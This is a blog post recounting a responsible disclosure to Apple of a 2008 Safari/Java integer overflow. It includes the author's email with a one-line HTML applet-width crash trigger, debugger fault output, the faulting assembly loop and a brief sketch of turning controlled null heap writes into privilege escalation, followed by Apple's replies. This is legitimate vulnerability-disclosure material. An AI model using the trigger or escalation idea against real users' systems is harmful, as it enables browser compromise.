Back in April of 2008, when I was still at Temple, I took a non-CS major class on security. In addition to creating a nifty little utility to bring an xnu kernel to its knees, I also did some work with fuzz testing web browsers. I ended up coming across a nice little bug in the width attribute of an applet tag. In the interest of full disclosure, I think it’s time to finally put this in public. This is the email I sent Apple:

Date: Sun, 4 May 2008 12:47:26 -0400
From: “Jonathan Bringhurst”
To: product-security@apple.com
Subject: integer overflow in safari, controlled null write to heap

Hey Apple Security People,

There’s a little problem with safari and java. Here an example…

“<META HTTP-EQUIV=”Refresh” content=”0;URL=blah.html”><APPLET WIDTH=”129999999” CODE=”aaaaaa.class”>”

This leads to a fault…

“Invalid memory access of location b254b000 eip=26730fb0

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xb254b000
[Switching to process 2677 thread 0x1d703]
0x26730fb0 in AnyIntSetRect ()”

It seems to be an integer overflow in this loop inside AnyIntSetRect()…

0x26730fb0 <AnyIntSetRect+64>: mov %edi,(%edx,%eax,4)
0x26730fb3 <AnyIntSetRect+67>: inc %eax
0x26730fb4 <AnyIntSetRect+68>: cmp %eax,%esi
0x26730fb6 <AnyIntSetRect+70>: ja 0x26730fb0 <AnyIntSetRect+64>

As you can see, eax gets blown up. Since it seems we can control the edx base, it’s trivial to do wild null writes into the heap. With some additional trickery, we’re able to control exactly where those nulls stop and get some priv escalation (think overwriting a euid, but instead modifying js privs).

Although it may seem like this is the java team’s fault, there really
should be a sanity check in safari for this.

From: product-security@apple.com
To: jon@nospam-bringhurst.org
Subject: Re: integer overflow in safari, controlled null write to heap
Date: Tue, 6 May 2008 09:39:25 -0700 (PDT)

Please include the line below in follow-up emails for this request.

Follow-up: 47541419

Hello,

Thank you for forwarding this issue to us. We take any report of a potential security issue very seriously.

You should have already received our automated response message. This message is being sent to you by a security analyst who has reviewed your note. The issue is being investigated, and we appreciate the time you have taken to report it to us. If we need additional information, you will hear from us very soon.

Because of the potentially sensitive nature of security vulnerabilities, we ask that this information remain between you and Apple while we investigate it further.

You’ll notice a number at the top of this email. Including that number in any further emails you send to us on this issue will help us rapidly associate it with your original report.

We do not automatically provide status updates on issues as we work on them, but please feel free to request one if needed by replying to this message.

Best regards,

Apple Product Security team
http://www.apple.com/support/security/
PGP Key ID: 0xB8469E6D
Fingerprint: FD20 40DB F7BC 37B9 6E78 4C3B C800 A2AB B846 9E6D

From: product-security@apple.com
To: jon@nospam-bringhurst.org
Subject: Re: integer overflow in safari, controlled null write to heap
Date: Wed, 14 Apr 2010 14:40:16 -0700 (PDT)

Please include the line below in follow-up emails for this request.

Follow-up: 47541419

Hello,

When we address an issue in a Security Update, we like to give credit to the person who reported the issue to us. The information is typically in the following format:

Credit to <Person> of <Company or School or Agency> for reporting this issue.

You can see examples of this at http://support.apple.com/kb/HT1222

Would you please let us know if you would like to be credited, and the information you would like us to use?

Thanks.
Mihaela

Apple Product Security team
http://www.apple.com/support/security/
PGP Key ID: 0xDB539AED
Fingerprint: 4B55 5F62 FAE8 BC41 BA9A 4D70 89B3 3F9F DB53 9AED